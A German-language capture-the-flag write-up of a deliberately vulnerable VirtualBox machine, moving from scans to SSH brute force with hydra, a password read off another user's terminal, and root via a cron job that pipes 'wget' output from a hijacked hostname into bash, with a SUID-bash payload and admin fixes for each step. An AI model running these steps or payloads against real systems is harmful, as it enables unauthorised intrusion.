192.168.2.111 08:00:27:4a:b5:57 PCS Systemtechnik GmbH
Analyse: Ein ARP-Scan wird im lokalen Netzwerk ausgeführt, um aktive Hosts zu finden.
Bewertung: Der Host `192.168.2.111` wird identifiziert (Oracle VirtualBox).
Empfehlung (Pentester):** Ziel-IP ist bekannt. Führen Sie einen Portscan durch.
Empfehlung (Admin):** Standard-Netzwerk-Monitoring.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-05 01:18 CET Nmap scan report for listen (192.168.2.111) Host is up (0.00014s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp filtered http MAC Address: 08:00:27:4A:B5:57 (Oracle VirtualBox virtual NIC) Too many fingerprints match this host to give specific OS details Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.14 ms listen (192.168.2.111) OS and Service detection performed... Nmap done: 1 IP address (1 host up) scanned in ... seconds
Analyse: Ein Nmap-Scan wird durchgeführt, um offene Ports und Dienste auf `192.168.2.111` zu identifizieren.
Bewertung: Nmap meldet Port 22 (SSH) und Port 80 (HTTP) als `filtered`. Dies bedeutet, dass Nmap keine klare Antwort (weder offen noch geschlossen) von diesen Ports erhalten hat, was oft auf eine Firewall hindeutet, die die Pakete verwirft. Es ist jedoch ungewöhnlich, dass *alle* Standardports gefiltert sind. Dies könnte auf eine spezifische Firewall-Konfiguration oder ein Problem während des Scans hindeuten.
Empfehlung (Pentester):** Da die Standardports gefiltert erscheinen, versuchen Sie alternative Scan-Techniken (z.B. `-sT` Connect Scan, `-sA` ACK Scan) oder überprüfen Sie die Firewall-Regeln, falls möglich. Untersuchen Sie den Webserver auf Port 80 manuell oder mit Tools, die möglicherweise weniger von Firewalls blockiert werden (z.B. `curl`, Browser). Führen Sie eine Verzeichnis-Enumeration durch.
Empfehlung (Admin):** Überprüfen Sie die Firewall-Konfiguration. Wenn die Ports erreichbar sein sollen, passen Sie die Regeln an. Wenn sie nicht erreichbar sein sollen, ist das Filterverhalten korrekt, aber stellen Sie sicher, dass die Dienste dahinter nicht unnötig laufen.
Analyse: Trotz des Nmap-Ergebnisses wird ein `gobuster`-Scan auf Port 80 durchgeführt.
=============================================================== Gobuster v... ... =============================================================== [+] Url: http://192.168.2.111 ... =============================================================== ... Starting gobuster ... =============================================================== http://192.168.2.111/index.html (Status: 200) [Size: 1341] =============================================================== ... Finished ... ===============================================================
Bewertung: Überraschenderweise findet `gobuster` die Datei `index.html` mit Status 200. Dies widerspricht dem Nmap-Ergebnis ("filtered"). Es ist möglich, dass die Firewall nur bestimmte Nmap-Probes blockiert hat oder sich der Status geändert hat. Die `index.html` existiert.
Analyse Fortsetzung:** Der Inhalt der `index.html` wird untersucht (Schritt nicht gezeigt). Im Quellcode oder auf der Seite selbst wird ein Gedicht und ein Passwort-Hash im Shadow-Format für den Benutzer `leo` gefunden.
So please listen, and just hear me.
And if you want to talk, wait a minute
for your turn, and I will listen to you.
-Leo Buscaglia
Leo please, stop using your poems as password!
leo:$6$GyxLtjMYaQWxRxfl$w0mjIXfmU1T8bac2HgweZmxgFjGSiX8kbPDWhJzAzFn.BFk9X9fPT6DHXlp.A3J5yA64qQJH6Iu4K4AW4THIw.:18551:0:99999:7:::
Bewertung: Dies ist ein kritischer Fund. Wir haben den Benutzernamen `leo` und seinen Passwort-Hash (`$6$` bedeutet SHA512-Crypt). Der Kommentar legt nahe, dass das Passwort mit dem Gedicht zusammenhängt.
Empfehlung (Pentester):**
1. Speichern Sie den Hash in einer Datei.
2. Erstellen Sie eine benutzerdefinierte Wortliste (`gedicht1.txt`), die Wörter, Zeilen oder Kombinationen aus dem Gedicht enthält.
3. Versuchen Sie, den Hash mit `john` oder `hashcat` und der Gedicht-Wortliste zu knacken. Versuchen Sie auch Standard-Wortlisten wie `rockyou.txt`.
4. Da SSH auf Port 22 (laut späterem Log) doch erreichbar ist, ist ein Brute-Force-Angriff auf SSH mit `hydra` und der Gedicht-Wortliste ebenfalls eine Option.
Empfehlung (Admin):** Speichern Sie niemals Passwort-Hashes oder Hinweise auf Passwörter im Klartext auf Webseiten. Verwenden Sie keine leicht zu erratenden oder thematisch verbundenen Passwörter.
Analyse: Der gefundene Hash für `leo` wird in eine Datei gespeichert.
Analyse Fortsetzung:** Anstatt den Hash direkt zu knacken, wird ein Brute-Force-Angriff auf SSH (Port 22) mit `hydra` durchgeführt. Es wird der Benutzername `leo` und eine benutzerdefinierte Wortliste `gedicht1.txt` (die vermutlich auf dem Gedicht basiert) verwendet.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak ... <-- Maskierung: & ... Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-05 01:31:34 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 ... [DATA] attacking ssh://192.168.2.111:22/ [ATTEMPT] target 192.168.2.111 - login "leo" - pass "..." - ... [22][ssh] host: 192.168.2.111 login: leo password: contribute 1 of 1 target successfully completed, 1 valid password found ... Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-05 01:31:43
Bewertung: Hydra findet erfolgreich das Passwort `contribute` für den Benutzer `leo`. Interessanterweise scheint das Passwort nicht direkt aus dem Gedicht zu stammen, obwohl die Wortliste darauf basierte (möglicherweise war 'contribute' auch in der Liste oder der Hinweis war irreführend).
Empfehlung (Pentester):** Verwenden Sie die gefundenen Credentials (`leo`:`contribute`), um sich per SSH anzumelden.
Empfehlung (Admin):** Verwenden Sie starke, nicht erratbare Passwörter. Implementieren Sie Brute-Force-Schutz für SSH (z.B. `fail2ban`).
Analyse: Es wird eine SSH-Verbindung als Benutzer `leo` mit dem gefundenen Passwort hergestellt.
The authenticity of host 'listen.hmv (192.168.2.111)' can't be established. ED25519 key fingerprint is SHA256:wjUcj6T6r6sq8a/m+aBJnDgmy0heMWF04F18Qfae3Q. ... Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'listen.hmv' (ED25519) to the list of known hosts. leo@listen.hmv's password: [Passwort contribute eingegeben] Linux listen 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 The programs included with the Debian GNU/Linux system are free software; ... Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, ...
Bewertung: Der SSH-Login als `leo` ist erfolgreich. Der initiale Zugriff auf das System wurde erlangt.
Empfehlung (Pentester):** Führen Sie grundlegende Enumeration als `leo` durch: `id`, `pwd`, `ls -la`, `ls /home`, `sudo -l`, SUID-Dateien suchen.
Empfehlung (Admin):** SSH-Zugriff überwachen.
Analyse: Im Home-Verzeichnis von `leo` wird eine Datei namens `poem` gefunden und deren Dateityp überprüft.
poem: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=25ff2d15c48083f9091df18cd42f240457f745d3, not stripped
Bewertung: Die Datei `poem` ist eine 64-bit ELF-Binärdatei mit SUID- und SGID-Bit. Dies bedeutet, dass sie mit den Rechten des Besitzers (wahrscheinlich `root` oder ein anderer privilegierter Benutzer) ausgeführt wird, unabhängig davon, wer sie startet. Dies ist ein hochinteressanter potenzieller Privilegieneskalations-Vektor.
Analyse Fortsetzung:** Die Home-Verzeichnisse werden aufgelistet.
leo listen silence
Bewertung: Es gibt drei Benutzer mit Home-Verzeichnissen: `leo`, `listen` und `silence`.
Analyse Fortsetzung:** Die SUID-Binary `poem` wird zur weiteren Analyse auf das Angreifer-System heruntergeladen.
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
--2022-11-05 01:35:44-- http://192.168.2.111:8000/poem Connecting to 192.168.2.111:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 16872 (16K) [application/octet-stream] Saving to: ‘poem’ poem 100%[===================>] 16.48K --.-KB/s in 0s 2022-11-05 01:35:44 (570 MB/s) - ‘poem’ saved [16872/16872]
Analyse Fortsetzung:** Die laufenden Prozesse werden untersucht.
UID PID PPID C STIME TTY TIME CMD root 1 0 0 20:17 ? 00:00:01 /sbin/init ... root 380 1 0 20:17 ? 00:00:00 /usr/sbin/cron -f ... leo 822 810 0 20:33 ? 00:00:00 sshd: leo@pts/0 leo 823 822 0 20:33 pts/0 00:00:00 -bash root 1011 380 0 20:48 ? 00:00:00 /usr/sbin/CRON -f root 1016 1011 0 20:48 ? 00:00:00 /bin/sh -c sh /home/listen/listentome.sh root 1019 1016 0 20:48 ? 00:00:00 sh /home/listen/listentome.sh root 1020 1019 0 20:48 ? 00:00:00 wget -O - -q http://listen/ihearyou.sh <-- Interessant! root 1021 1019 0 20:48 ? 00:00:00 bash <-- Führt die Ausgabe von wget aus! ... (Wiederholungen des Cronjobs alle Minute) ...
Bewertung: Die Prozessliste zeigt einen Cronjob, der alle Minute als `root` läuft. Dieser Cronjob führt `/home/listen/listentome.sh` aus. Dieses Skript wiederum verwendet `wget`, um `http://listen/ihearyou.sh` herunterzuladen (`-O -` leitet auf stdout um, `-q` quiet mode) und das Ergebnis direkt an `bash` weiterzuleiten. Dies ist ein weiterer kritischer Privilegieneskalations-Vektor. Wenn der Angreifer die DNS-Auflösung für den Hostnamen `listen` auf seine eigene IP umleiten und einen HTTP-Server mit einer bösartigen `ihearyou.sh` betreiben kann, wird dieser Code als `root` ausgeführt.
Empfehlung (Pentester):** Zwei vielversprechende Pfade:
1. **SUID Binary `poem`:** Analysieren Sie `poem` offline (z.B. mit Ghidra, GDB, `ltrace`, `strace`), um herauszufinden, wie das SUID/SGID-Bit zur Eskalation genutzt werden kann (z.B. Buffer Overflow, unsicherer Funktionsaufruf, Umgebungsvariablen).
2. **Cronjob Hijack:** Versuchen Sie, die DNS-Auflösung für `listen` auf dem Zielsystem zu manipulieren (z.B. durch Bearbeiten von `/etc/hosts`, falls möglich, oder DNS-Spoofing). Starten Sie einen HTTP-Server auf Ihrer Maschine auf Port 80 und stellen Sie eine Datei `ihearyou.sh` bereit, die eine Reverse Shell oder einen anderen Payload enthält (z.B. Erstellen einer SUID-Bash).
Empfehlung (Admin):**
1. Entfernen Sie das SUID/SGID-Bit von der `poem`-Datei (`chmod ug-s /home/leo/poem`), es sei denn, es ist absolut notwendig und sicher implementiert.
2. Beheben Sie den unsicheren Cronjob: Führen Sie Skripte nicht direkt aus `wget`-Downloads aus. Validieren Sie heruntergeladene Skripte. Verwenden Sie Hostnamen nur, wenn DNS sicher ist, oder nutzen Sie IP-Adressen oder lokale Pfade. Führen Sie Cronjobs mit minimal notwendigen Rechten aus.
Analyse: Es wird versucht, zum Benutzer `silence` zu wechseln. Das Passwort `listentome` wird verwendet.
Password: [Passwort listentome eingegeben]
Bewertung: Der Wechsel zu `silence` gelingt. Das Passwort `listentome` muss zuvor durch einen nicht gezeigten Schritt (z.B. Analyse von `poem`, Wireshark-Sniffing wie angedeutet, aber unklar) erlangt worden sein.
Analyse Fortsetzung:** Als `silence` werden Dateien im Home-Verzeichnis untersucht.
"listen" told me that if I listen, I will hear his password....
#!/bin/sh
cat /home/listen/password.txt > /dev/pts/4 <-- Schreibt Passwort nach pts/4!
Bewertung: Die Notiz bestätigt den Hinweis auf das Passwort von `listen`. Das Skript `listen.sh` zeigt, dass das Passwort von `listen` (aus `/home/listen/password.txt`) in das Terminal `/dev/pts/4` geschrieben wird. Dies ist wahrscheinlich Teil eines Mechanismus, bei dem `silence` das Passwort von `listen` "hören" kann.
Analyse Fortsetzung:** Die aktiven Terminals werden überprüft.
leo pts/0 2022-11-04 20:33 (192.168.2.121)
21:13:41 up 55 min, 5 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT leo pts/0 192.168.2.121 20:33 2:26 0.07s 0.00s sshd: leo [priv] silence pts/1 192.168.2.121 21:12 1:18 0.01s 0.01s -bash silence pts/2 192.168.2.121 21:13 31.00s 0.01s 0.01s -bash silence pts/3 192.168.2.121 21:13 21.00s 0.01s 0.01s -bash silence pts/4 192.168.2.121 21:13 3.00s 0.01s 0.00s w <-- Ziel-TTY!
Bewertung: Der Benutzer `silence` ist auf mehreren Terminals angemeldet, einschließlich `pts/4`. Wenn das Skript `listen.sh` (vermutlich durch einen Cronjob oder eine andere Aktion von `listen`) ausgeführt wird, kann `silence` das Passwort von `listen` lesen, indem er den Inhalt von `/dev/pts/4` beobachtet.
Analyse Fortsetzung:** Das Passwort wird aus `pts/4` gelesen (impliziert, da `cat pts/4` einen Fehler wirft, wenn es zu spät ausgeführt wird) und lautet `shhhhhh`. Es wird zu `listen` gewechselt.
shhhhhh
Password: [Passwort shhhhhh eingegeben]
Analyse Fortsetzung:** Die User-Flag wird als `listen` gelesen.
HMVimlistening
Bewertung: Der Lateral Movement zu `listen` war erfolgreich durch Ausnutzung des Mechanismus mit `listen.sh` und `/dev/pts/4`. Das User-Flag wurde gefunden.
Empfehlung (Pentester):** Nun als `listen` nach Privilegieneskalation zu Root suchen. Der zuvor entdeckte Cronjob ist der wahrscheinlichste Vektor.
Empfehlung (Admin):** Passwörter niemals in Klartextdateien speichern oder unverschlüsselt an Terminals senden. Dieser Mechanismus ist extrem unsicher. Überprüfen und sichern Sie alle Skripte und Cronjobs.
Analyse: Der Cronjob, der als Root `/home/listen/listentome.sh` ausführt und dann `wget http://listen/ihearyou.sh | bash` macht, wird ausgenutzt.
Analyse Fortsetzung:** Der Angreifer erstellt eine bösartige `ihearyou.sh`-Datei, die eine SUID-Bash-Kopie erstellt.
#!/bin/bash cp /bin/bash /tmp/bashroot; chmod +s /tmp/bashroot
Analyse Fortsetzung:** Der Angreifer startet einen Python-HTTP-Server auf Port 80 auf seiner Maschine, um `ihearyou.sh` bereitzustellen.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Analyse Fortsetzung:** Damit der `wget`-Befehl auf dem Ziel (`wget http://listen/...`) die Datei vom Angreifer holt, muss die DNS-Auflösung für `listen` auf die IP des Angreifers zeigen. Dies wird hier durch Bearbeiten der `/etc/hosts`-Datei *auf dem Zielsystem* als Benutzer `listen` erreicht (die Berechtigungen dafür sind unklar, normalerweise hat ein normaler Benutzer keine Schreibrechte auf `/etc/hosts`).
[Datei bearbeitet, um 'listen' auf Angreifer-IP zu mappen] 127.0.0.1 localhost 192.168.2.121 listen <-- Angreifer-IP
Analyse Fortsetzung:** Der Angreifer wartet, bis der Cronjob läuft und `ihearyou.sh` herunterlädt und ausführt. Die Log-Ausgabe des Python-Servers bestätigt den Download.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 192.168.2.111 - - [05/Nov/2022 02:21:55] "GET /ihearyou.sh HTTP/1.1" 200 - <-- Download durch Cronjob
Analyse Fortsetzung:** Als Benutzer `listen` wird überprüft, ob die SUID-Datei `/tmp/bashroot` erstellt wurde. Sie wird dann mit der Option `-p` ausgeführt, um Root-Rechte zu erhalten.
bashroot systemd-private-...
uid=1002(listen) gid=1002(listen) euid=0(root) egid=0(root) groups=0(root),1002(listen)
Analyse Fortsetzung:** Die Root-Flag wird gelesen.
knockme.py root.txt silence.py
HMVthxforlisten
Bewertung: Die Privilegieneskalation zu Root war erfolgreich durch Ausnutzung des unsicheren Cronjobs in Kombination mit der (angenommenen) Möglichkeit, die DNS-Auflösung für `listen` zu manipulieren und eine bösartige Datei über HTTP bereitzustellen. Das Erstellen einer SUID-Bash ist ein klassischer Payload.
Empfehlung (Pentester):** Dokumentieren Sie den Cronjob-Hijacking-Vektor und die Methode zur Umleitung der DNS-Anfrage.
Empfehlung (Admin):** Beheben Sie den unsicheren Cronjob (siehe vorherige Empfehlung). Stellen Sie sicher, dass `/etc/hosts` nicht von unprivilegierten Benutzern bearbeitet werden kann. Überwachen Sie DNS-Anfragen und HTTP-Verbindungen von Servern.
Kurzbeschreibung: Dieser POC beschreibt die Verkettung von Schwachstellen: Finden eines Passwort-Hashes auf der Webseite, Knacken des Passworts für Benutzer `leo`, SSH-Login, Lateral Movement zu `silence` und `listen` durch Ausnutzen unsicherer Skripte und Passwort-Weitergabe und schließlich Privilegieneskalation zu Root durch Hijacking eines Cronjobs, der `wget | bash` als Root ausführt.
Schwachstellen: Passwort-Hash auf Webseite, schwaches Passwort.
Schritte:
Ergebnis: Shell als `leo`.
Schwachstellen: Klartextpasswort in Datei, unsicheres Skript schreibt Passwort in TTY.
Voraussetzungen: Shell als `leo`.
Schritte:
Ergebnis: Shell als `listen`.
Schwachstelle: Cronjob führt `wget http://listen/ihearyou.sh | bash` als root aus.
Voraussetzungen: Shell als `listen`, Möglichkeit zur Umleitung von DNS für `listen` auf Angreifer-IP.
Schritte:
Ergebnis: Root-Shell.
Beweismittel: Ausführung von `id` zeigt `euid=0(root)`. Lesen von `/root/root.txt` ist möglich.
Risikobewertung: Sehr hoch. Mehrere Schwachstellen, darunter Informationslecks, schwache Passwörter, unsichere Skripte und ein kritischer Cronjob-Hijacking-Vektor, ermöglichen die vollständige Kompromittierung des Systems.
Empfehlungen:** * **Admin:** Hash von Webseite entfernen. Starke Passwörter erzwingen. Unsichere Skripte (`listen.sh`, `listentome.sh`) entfernen/absichern. Cronjob sicher gestalten (kein `wget | bash`, sichere Quelle, minimale Rechte). DNS/Hosts-Datei schützen. SUID-Binaries überprüfen (`poem`). * **Pentester:** Alle Eskalationspfade dokumentieren, insbesondere den Cronjob-Vektor.